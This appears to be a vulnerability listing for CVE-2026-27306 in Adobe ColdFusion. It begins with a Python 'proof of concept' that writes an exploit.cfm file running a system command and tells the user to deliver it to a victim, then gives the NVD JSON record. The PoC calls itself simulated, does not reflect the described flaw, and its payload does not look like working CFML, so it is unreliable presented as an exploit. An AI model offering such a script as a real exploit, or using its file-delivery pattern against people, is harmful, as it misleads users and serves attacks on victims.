CVE-2026-27306

import os # Proof of Concept for CVE-2026-27306 # This script generates a malicious file intended for Adobe ColdFusion. # Note: This is a simulated example for educational purposes. def generate_malicious_file(filename): # Simulating the payload that bypasses input validation # In a real scenario, this would be specific CFML or serialized object payload = "<cfscript> system('whoami'); </cfscript>" with open(filename, 'w') as f: f.write(payload) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Deliver this file to a victim with elevated privileges.") if __name__ == "__main__": generate_malicious_file("exploit.cfm")

{"cve": {"id": "CVE-2026-27306", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:29.730", "lastModified": "2026-04-16T14:41:48.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ColdFusion versions 2023.18, 2025.6 and earlier are affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. Attacker requires elevated privileges. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:-:*:*:*:*:*:*", "matchCriteriaId": "B02A37FE-5D31-4892-A3E6-156A8FE62D28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update1:*:*:*:*:*:*", "matchCriteriaId": "0AA3D302-CFEE-4DFD-AB92-F53C87721BFF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update10:*:*:*:*:*:*", "matchCriteriaId": "645D1B5F-2DAB-4AB8-A465-AC37FF494F95"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update11:*:*:*:*:*:*", "matchCriteriaId": "ED6D8996-0770-4C9F-BEA5-87EA479D40A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update12:*:*:*:*:*:*", "matchCriteriaId": "4836086E-3D4A-4A07-A372-382D385CB490"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update13:*:*:*:*:*:*", "matchCriteriaId": "CBC19168-4184-4B59-B9C8-E98844124EED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update14:*:*:*:*:*:*", "matchCriteriaId": "A60DCD92-9A5B-411C-9554-642C91D77FAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update15:*:*:*:*:*:*", "matchCriteriaId": "58CC65EF-60A3-4DFA-AA51-E5013F116CEA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update16:*:*:*:*:*:*", "matchCriteriaId": "2E3EBFB1-4488-4924-A2E2-B7E422D68345"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update17:*:*:*:*:*:*", "matchCriteriaId": "A683F9B2-A0DC-4AA0-BE97-9E74FA200AB1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update18:*:*:*:*:*:*", "matchCriteriaId": "8689F35F-9A81-45D2-B782-DBA12306BA45"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update2:*:*:*:*:*:*", "matchCriteriaId": "EB88D4FE-5496-4639-BAF2-9F29F24ABF29"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update3:*:*:*:*:*:*", "matchCriteriaId": "43E0ED98-2C1F-40B8-AF60-FEB1D85619C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update4:*:*:*:*:*:*", "matchCriteriaId": "76204873-C6E0-4202-8A03-0773270F1802"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update5:*:*:*:*:*:*", "matchCriteriaId": "C1A22BE9-0D47-4BA8-8BDB-9B12D7A0F7C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update6:*:*:*:*:*:*", "matchCriteriaId": "E3A83642-BF14-4C37-BD94-FA76AABE8ADC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update7:*:*:*:*:*:*", "matchCriteriaId": "A892E1DC-F2C8-4F53-8580-A2D1BEED5A25"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update8:*:*:*:*:*:*", "matchCriteriaId": "DB97ADBA-C1A9-4EE0-9509-68CB12358AE5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update9:*:*:*:*:*:*", "matchCriteriaId": "E17C38F0-9B0F-4433-9CBD-6E3D63EA9BDC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:-:*:*:*:*:*:*", "matchCriteriaId": "30779417-D4E5-4A01-BE0E-1CE1D134292A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update1:*:*:*:*:*:*", "matchCriteriaId": "80D7FC6A-F264-4CB1-A18D-B091EBA47882"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update2:*:*:*:*:*:*", "matchCriteriaId": "E3DA0D20-93BA-4C76-A400-159853CD7277"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update3:*:*:*:*:*:*", "matchCriteriaId": "5BAB6F21-61F1-43AB-88BA-553CD9AD6C0E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update4:*:*:*:*:*:*", "matchCriteriaId": "C85288B9-5D63-49EA-828A-8DB3BB2367F6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2025:update5:*:*:*:*:*:*", "matchCriteriaId": "3882A011-5A01-48E7-B5E7-5A837B1CE245"}, {"vulnerable": true, "criteria": "cpe:2. ... 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